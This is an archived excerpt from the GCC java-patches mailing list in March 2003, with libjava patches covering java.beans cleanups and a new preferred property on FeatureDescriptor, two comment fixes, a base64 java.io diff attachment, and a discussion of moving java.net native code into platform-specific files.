Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6931 invoked from network); 17 Mar 2003 15:21:54 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 17 Mar 2003 15:21:54 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-182.ewetel.net [80.228.73.182]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2HFLq8G011038 for ; Mon, 17 Mar 2003 16:21:52 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uwPv-0001tF-00 for ; Mon, 17 Mar 2003 16:20:47 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.beans Date: Mon, 17 Mar 2003 16:22:56 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Qhed+SiGgoJaLzL" Message-Id: <200303171622.56821.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Qhed+SiGgoJaLzL Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk. This will go into classpath=20 soon. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dehQWSOgCCdjSDsRAi91AJwMgsoswCawGINWJwH+oMUMtB9SbwCeJDkt 5PNM5BeooGRBzO+97QwLmhQ=3D =3DYjf0 =2D----END PGP SIGNATURE----- --Boundary-00=_Qhed+SiGgoJaLzL Content-Type: text/x-diff; charset="iso-8859-15"; name="beans.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="beans.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1780 diff -u -r1.1780 ChangeLog --- ChangeLog 17 Mar 2003 09:13:15 -0000 1.1780 +++ ChangeLog 17 Mar 2003 15:19:38 -0000 @@ -1,3 +1,20 @@ +2003-03-17 Michael Koch + + * java/beans/Beans.java: + Explicitely import classes not packages. + * java/beans/FeatureDescriptor.java + (preferred): New member variable. + (isPreferred): New method. + (setPreferred): New method. + * java/beans/PropertyEditorManager.java: + Explicitely import used classes. + * java/beans/beancontext/BeanContextChild.java: + Added line wrapping. + * java/beans/beancontext/BeanContextChildSupport.java: + Reindented. + * java/beans/beancontext/BeanContextEvent.java: + Reindented. + 2003-03-17 Michael Koch * javax/print/attribute/Attribute.java, Index: java/beans/Beans.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/Beans.java,v retrieving revision 1.4 diff -u -r1.4 Beans.java --- java/beans/Beans.java 27 Feb 2003 10:52:41 -0000 1.4 +++ java/beans/Beans.java 17 Mar 2003 15:19:38 -0000 @@ -38,9 +38,11 @@ package java.beans; -import java.io.*; -import java.applet.*; -import gnu.java.io.*; +import gnu.java.io.ClassLoaderObjectInputStream; +import java.io.InputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.applet.Applet; /** * Beans provides some helper methods that allow the basic Index: java/beans/FeatureDescriptor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/FeatureDescriptor.java,v retrieving revision 1.3 diff -u -r1.3 FeatureDescriptor.java --- java/beans/FeatureDescriptor.java 27 Feb 2003 10:52:41 -0000 1.3 +++ java/beans/FeatureDescriptor.java 17 Mar 2003 15:19:38 -0000 @@ -66,6 +66,7 @@ String shortDescription; boolean expert; boolean hidden; + boolean preferred; Hashtable valueHash; @@ -177,6 +178,15 @@ this.hidden = hidden; } + public boolean isPreferred () + { + return preferred; + } + + public void setPreferred (boolean preferred) + { + this.preferred = preferred; + } /** * Get an arbitrary value set with setValue(). Index: java/beans/PropertyEditorManager.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/PropertyEditorManager.java,v retrieving revision 1.3 diff -u -r1.3 PropertyEditorManager.java --- java/beans/PropertyEditorManager.java 27 Feb 2003 10:52:41 -0000 1.3 +++ java/beans/PropertyEditorManager.java 17 Mar 2003 15:19:38 -0000 @@ -39,6 +39,18 @@ package java.beans; import gnu.java.lang.ClassHelper; +import gnu.java.beans.editors.ColorEditor; +import gnu.java.beans.editors.FontEditor; +import gnu.java.beans.editors.NativeBooleanEditor; +import gnu.java.beans.editors.NativeByteEditor; +import gnu.java.beans.editors.NativeDoubleEditor; +import gnu.java.beans.editors.NativeFloatEditor; +import gnu.java.beans.editors.NativeIntEditor; +import gnu.java.beans.editors.NativeLongEditor; +import gnu.java.beans.editors.NativeShortEditor; +import gnu.java.beans.editors.StringEditor; +import java.awt.Color; +import java.awt.Font; /** * PropertyEditorManager is used to find property editors @@ -70,20 +82,21 @@ public class PropertyEditorManager { static java.util.Hashtable editors = new java.util.Hashtable(); - static String[] editorSearchPath = {"gnu.java.beans.editors","sun.beans.editors"}; + static String[] editorSearchPath = { "gnu.java.beans.editors", + "sun.beans.editors" }; static { - registerEditor(java.lang.Boolean.TYPE, gnu.java.beans.editors.NativeBooleanEditor.class); - registerEditor(java.lang.Byte.TYPE, gnu.java.beans.editors.NativeByteEditor.class); - registerEditor(java.lang.Short.TYPE, gnu.java.beans.editors.NativeShortEditor.class); - registerEditor(java.lang.Integer.TYPE, gnu.java.beans.editors.NativeIntEditor.class); - registerEditor(java.lang.Long.TYPE, gnu.java.beans.editors.NativeLongEditor.class); - registerEditor(java.lang.Float.TYPE, gnu.java.beans.editors.NativeFloatEditor.class); - registerEditor(java.lang.Double.TYPE, gnu.java.beans.editors.NativeDoubleEditor.class); - registerEditor(java.lang.String.class, gnu.java.beans.editors.StringEditor.class); - registerEditor(java.awt.Color.class, gnu.java.beans.editors.ColorEditor.class); - registerEditor(java.awt.Font.class, gnu.java.beans.editors.FontEditor.class); + registerEditor(Boolean.TYPE, NativeBooleanEditor.class); + registerEditor(Byte.TYPE, NativeByteEditor.class); + registerEditor(Short.TYPE, NativeShortEditor.class); + registerEditor(Integer.TYPE, NativeIntEditor.class); + registerEditor(Long.TYPE, NativeLongEditor.class); + registerEditor(Float.TYPE, NativeFloatEditor.class); + registerEditor(Double.TYPE, NativeDoubleEditor.class); + registerEditor(String.class, StringEditor.class); + registerEditor(Color.class, ColorEditor.class); + registerEditor(Font.class, FontEditor.class); } /** Index: java/beans/beancontext/BeanContextChild.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/beancontext/BeanContextChild.java,v retrieving revision 1.2 diff -u -r1.2 BeanContextChild.java --- java/beans/beancontext/BeanContextChild.java 22 Jan 2002 22:40:12 -0000 1.2 +++ java/beans/beancontext/BeanContextChild.java 17 Mar 2003 15:19:38 -0000 @@ -43,7 +43,8 @@ import java.beans.PropertyVetoException; /** - * Beans implement this to get information about the execution environment and its services and to be placed in the hierarchy. + * Beans implement this to get information about the execution environment and + * its services and to be placed in the hierarchy. *

          * * The difference between a BeanContext and a Index: java/beans/beancontext/BeanContextChildSupport.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/beancontext/BeanContextChildSupport.java,v retrieving revision 1.3 diff -u -r1.3 BeanContextChildSupport.java --- java/beans/beancontext/BeanContextChildSupport.java 4 Oct 2002 08:48:01 -0000 1.3 +++ java/beans/beancontext/BeanContextChildSupport.java 17 Mar 2003 15:19:38 -0000 @@ -56,7 +56,7 @@ * behavior. If there are problems, let me know. * * @author John Keiser - * @since JDK1.2 + * @since 1.2 * @see java.beans.beancontext.BeanContextChild */ @@ -97,14 +97,14 @@ */ protected VetoableChangeSupport vcSupport; - /** * Create a new BeanContextChildSupport with itself as the peer. * This is meant to be used when you subclass * BeanContextChildSupport to create your child. */ - public BeanContextChildSupport() { - this(null); + public BeanContextChildSupport() + { + this (null); }; /** @@ -112,14 +112,16 @@ * @param peer the peer to use, or null to specify * this. */ - public BeanContextChildSupport(BeanContextChild peer) { - if(peer == null) { - peer = this; - } + public BeanContextChildSupport (BeanContextChild peer) + { + if (peer == null) + { + peer = this; + } beanContextChildPeer = peer; - pcSupport = new PropertyChangeSupport(peer); - vcSupport = new VetoableChangeSupport(peer); + pcSupport = new PropertyChangeSupport (peer); + vcSupport = new VetoableChangeSupport (peer); } /** @@ -178,34 +180,42 @@ * BeanContextChild implementor does not * wish to have its parent changed. */ - public void setBeanContext(BeanContext newBeanContext) - throws PropertyVetoException { - synchronized(beanContextChildPeer) { - if(newBeanContext == beanContext) - return; - - if(!rejectedSetBCOnce) { - if(!validatePendingSetBeanContext(newBeanContext)) { - rejectedSetBCOnce = true; - throw new PropertyVetoException("validatePendingSetBeanContext() rejected change", - new PropertyChangeEvent(beanContextChildPeer, "beanContext", beanContext, newBeanContext)); - } - try { - fireVetoableChange("beanContext", beanContext, newBeanContext); - } catch(PropertyVetoException e) { - rejectedSetBCOnce = true; - throw e; - } - } + public void setBeanContext(BeanContext newBeanContext) + throws PropertyVetoException + { + synchronized (beanContextChildPeer) + { + if (newBeanContext == beanContext) + return; + + if (!rejectedSetBCOnce) + { + if (!validatePendingSetBeanContext (newBeanContext)) + { + rejectedSetBCOnce = true; + throw new PropertyVetoException ("validatePendingSetBeanContext() rejected change", + new PropertyChangeEvent(beanContextChildPeer, "beanContext", beanContext, newBeanContext)); + } + + try + { + fireVetoableChange ("beanContext", beanContext, newBeanContext); + } + catch (PropertyVetoException e) + { + rejectedSetBCOnce = true; + throw e; + } + } - releaseBeanContextResources(); + releaseBeanContextResources (); beanContext = newBeanContext; rejectedSetBCOnce = false; - firePropertyChange("beanContext", beanContext, newBeanContext); + firePropertyChange ("beanContext", beanContext, newBeanContext); - initializeBeanContextResources(); + initializeBeanContextResources (); } } @@ -213,7 +223,8 @@ * Get the parent BeanContext. * @return the parent BeanContext. */ - public BeanContext getBeanContext() { + public BeanContext getBeanContext() + { return beanContext; } Index: java/beans/beancontext/BeanContextEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/beancontext/BeanContextEvent.java,v retrieving revision 1.2 diff -u -r1.2 BeanContextEvent.java --- java/beans/beancontext/BeanContextEvent.java 22 Jan 2002 22:40:12 -0000 1.2 +++ java/beans/beancontext/BeanContextEvent.java 17 Mar 2003 15:19:38 -0000 @@ -47,7 +47,8 @@ * @since JDK1.2 */ -public abstract class BeanContextEvent extends EventObject { +public abstract class BeanContextEvent extends EventObject +{ /** * The BeanContext that most recently passed this * event on. --Boundary-00=_Qhed+SiGgoJaLzL-- From java-patches-return-6505-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 15:32:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24689 invoked by alias); 17 Mar 2003 15:32:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24682 invoked from network); 17 Mar 2003 15:32:29 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by sources.redhat.com with SMTP; 17 Mar 2003 15:32:29 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-182.ewetel.net [80.228.73.182]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2HFWSdx022890 for ; Mon, 17 Mar 2003 16:32:28 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uwaB-0001tz-00 for ; Mon, 17 Mar 2003 16:31:24 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.net/nio - comment fixes Date: Mon, 17 Mar 2003 16:33:33 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Nred+1+ToqbBXJM" Message-Id: <200303171633.33073.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Nred+1+ToqbBXJM Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk. It fixes two comments. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+derNWSOgCCdjSDsRAgNIAKCXLgEujBkAGBmVKjXz2t5eMtPtfwCfTfw2 T0Uaj6VJXuHBWZiQpndQUGs=3D =3DLvIA =2D----END PGP SIGNATURE----- --Boundary-00=_Nred+1+ToqbBXJM Content-Type: text/x-diff; charset="iso-8859-15"; name="net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="net.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1782 diff -u -r1.1782 ChangeLog --- ChangeLog 17 Mar 2003 15:21:45 -0000 1.1782 +++ ChangeLog 17 Mar 2003 15:27:54 -0000 @@ -1,5 +1,12 @@ 2003-03-17 Michael Koch + * java/net/DatagramSocket.java + (connect): Fixed comment. + * java/nio/ByteBuffer.java + (hasArray): Fixed comment. + +2003-03-17 Michael Koch + * java/beans/Beans.java: Explicitely import classes not packages. * java/beans/FeatureDescriptor.java Index: java/net/DatagramSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/DatagramSocket.java,v retrieving revision 1.22 diff -u -r1.22 DatagramSocket.java --- java/net/DatagramSocket.java 10 Mar 2003 14:48:08 -0000 1.22 +++ java/net/DatagramSocket.java 17 Mar 2003 15:27:54 -0000 @@ -466,7 +466,7 @@ } catch (SocketException e) { - // This means simply not connected. + // This means simply not connected or connect not implemented. } } Index: java/nio/ByteBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ByteBuffer.java,v retrieving revision 1.8 diff -u -r1.8 ByteBuffer.java --- java/nio/ByteBuffer.java 11 Mar 2003 10:30:52 -0000 1.8 +++ java/nio/ByteBuffer.java 17 Mar 2003 15:27:54 -0000 @@ -199,7 +199,7 @@ } /** - * Tells whether or not this buffer is backed by an accessible byte array. + * Tells whether or not this buffer is backed by an accessible array. */ public final boolean hasArray () { --Boundary-00=_Nred+1+ToqbBXJM-- From java-patches-return-6506-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 17:37:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16579 invoked by alias); 17 Mar 2003 17:37:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16469 invoked from network); 17 Mar 2003 17:37:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 17 Mar 2003 17:37:54 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA02841; Mon, 17 Mar 2003 10:37:52 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 97DE94F8672; Mon, 17 Mar 2003 10:32:43 -0700 (MST) To: Andrew Haley Cc: Michael Koch , java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> <200303161731.47699.konqueror@gmx.de> <15989.35740.612745.903389@cuddles.cambridge.redhat.com> <200303171007.00856.konqueror@gmx.de> <15989.38906.691284.652760@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. this must be what it's like to be a COLLEGE GRADUATE!! Date: 17 Mar 2003 10:32:43 -0700 In-Reply-To: <15989.38906.691284.652760@cuddles.cambridge.redhat.com> Message-ID: <87bs096gqs.fsf@fleche.redhat.com> Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> The main exception to this is trivial stuff like Andrew> #ifdef WIN32 Andrew> foo (); Andrew> #endif Andrew> which isn't worth factoring out. I factored some of these out yesterday :-). But it depends on the case. I didn't change jni.cc since it looked more complicated to do so -- it isn't a simple matter of a define in the platform header. Andrew> I wonder if we definitely need enable_java_net. I don't see any good Andrew> reason to omit net support on a target that doesn't require Andrew> such Andrew> omission. My impression is that there are people out there who do this. Whether or not it is worth supporting is a different question. I don't know why people would configure this way (e.g., if it is a size thing then that really can't be very effective anyway...). We definitely will continue to need a net-less port, for newlib targets at least. Tom From java-patches-return-6507-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 17:40:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27011 invoked by alias); 17 Mar 2003 17:40:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26968 invoked from network); 17 Mar 2003 17:40:15 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 17 Mar 2003 17:40:15 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA03481; Mon, 17 Mar 2003 10:40:14 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4CE2D4F8672; Mon, 17 Mar 2003 10:35:05 -0700 (MST) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Disco oil bussing will create a throbbing naugahide pipeline running straight to the tropics from the rug producing regions and devalue the dollar! Date: 17 Mar 2003 10:35:05 -0700 In-Reply-To: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> Message-ID: <877kax6gmu.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mohan" == Mohan Embar writes: Mohan> What if instead of natInetAddressEcos.cc (for example), you had Mohan> natInetAddressNoNet.cc and made another variable called Mohan> NET_PLATFORM which factored in not only PLATFORM, but also Mohan> whether enable_java_net was "no"? This seems basically reasonable. It seems to me that if the ecos java.net port does nothing, then we don't need natInetAddressEcos.cc at all -- we can just set NET_PLATFORM appropriately for that port. Tom From java-patches-return-6508-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 19:10:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5485 invoked by alias); 17 Mar 2003 19:10:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5429 invoked from network); 17 Mar 2003 19:10:17 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 17 Mar 2003 19:10:17 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-80-108.ewetel.net [80.228.80.108]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2HJAEdx004325 for ; Mon, 17 Mar 2003 20:10:15 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18uzyv-000284-00 for ; Mon, 17 Mar 2003 20:09:09 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.io - okay to commit ? Date: Mon, 17 Mar 2003 20:11:18 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_W3hd+2LaEzYiUpm" Message-Id: <200303172011.18778.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_W3hd+2LaEzYiUpm Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, the attached patch, merged much of java.io with classpath. This is=20 documentation and indentation. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dh3WWSOgCCdjSDsRAuB3AKCg2tV0t3vwTozP1Tp7patfemvsQgCgnHaE BmTGn3EBUeCMGcqGGgHGfMg=3D =3DsQVS =2D----END PGP SIGNATURE----- --Boundary-00=_W3hd+2LaEzYiUpm Content-Type: application/x-bzip2; name="io-classpath.diff.bz2" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="io-classpath.diff.bz2" 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 